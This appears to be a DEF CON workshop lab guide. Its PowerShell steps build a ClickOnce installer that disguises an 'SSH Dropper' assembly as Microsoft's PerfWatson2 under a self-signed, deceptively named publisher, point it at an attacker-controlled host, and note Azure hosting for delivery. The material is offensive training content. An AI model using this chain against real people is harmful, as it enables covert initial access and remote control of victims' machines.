Lab 1

DEF_CON_CLICK_ONCE

Support Slides

Slides

Import and start your DEF_CON Ubuntu VM

Download VM

1. Download the DEF_CON_SSH_Dropper.zip from the link below.

Download

2. Open a PowerShell prompt and navigate to the Downloads folder.

powershell
cd ~\Downloads

3. Unblock the zip.

powershell
Unblock-File -Path .\DEF_CON_SSH_Dropper.zip

4. Expand the archive.

powershell
Expand-Archive .\DEF_CON_SSH_Dropper.zip

5. Download the DEF_CON_CLICK_ONCE.zip from the link below.

Download

6. Unblock the zip.

powershell
Unblock-File -Path .\DEF_CON_CLICK_ONCE.zip

7. Expand the archive.

powershell
Expand-Archive .\DEF_CON_CLICK_ONCE.zip

Compile the Assembly

1. In an explorer window, navigate to the Assembly_SSH_Dropper\Assembly\ folder and double-click to open the Assembly.sln.

0

2. Click on “Program.cs” in the Solution Explorer (right side) to open the file.

1

3. Scroll down and modify the sshHost variable to point to your VM NAT IP address.

2

4. Save.

3

5. Build Solution.

4

5

6. Open a Visual Studio PowerShell prompt.

6

7. Navigate to the DEF_CON_CLICK_ONCE folder you extracted.

powershell
cd ~\Downloads\DEF_CON_CLICK_ONCE\

8. Copy Assembly.dll to the Install folder. You copied the path from step 12.

powershell
cp ~\Downloads\Assembly.dll .\Install\

9. Copy PerfWatson2.exe to your Install folder.

powershell
cp 'c:\program files\Microsoft Visual Studio\2022\Community\Common7\IDE\PerfWatson2.exe' .\Install\

10. Make a signing certificate.

powershell
makecert.exe -sv ClickOnce.pvk -n "cn=DEFCON" ClickOnce.cer -b 01/01/2023 -e 01/01/2024 -r

7

11. Convert the cert to a pfx.

powershell
pvk2pfx.exe -pvk ClickOnce.pvk -spc ClickOnce.cer -pfx ClickOnce.pfx

12. cd into the Install directory.

powershell
cd DEF_CON_CLICK_ONCE\Install

13. Create the Installer manifest.

powershell
mage.exe -New Application -Processor amd64 -ToFile .\Installer.exe.manifest -Name PerfWatson2 -Version 17.0.33711.286 -TrustLevel FullTrust -FromDirectory .

14. Sign the manifest.

powershell
mage.exe -Sign .\Installer.exe.manifest -CertFile ..\..\ClickOnce.pfx

15. Sign the manifest.

powershell
mage.exe -New Deployment -Processor amd64 -Install false -Publisher "Digital Signatures" -AppManifest Installer.exe.manifest -ToFile Installer.application

16. Sign the application.

powershell
mage.exe -Sign .\Installer.application -CertFile ..\..\ClickOnce.pfx

17. Execute your Installer application with a double-click.

8

18. You could deploy to azure like this

powershell
az webapp up --location eastus --resource-group Infrastructure --name UniqueSubdomain --html --sku FREE

✅ End of Lab 1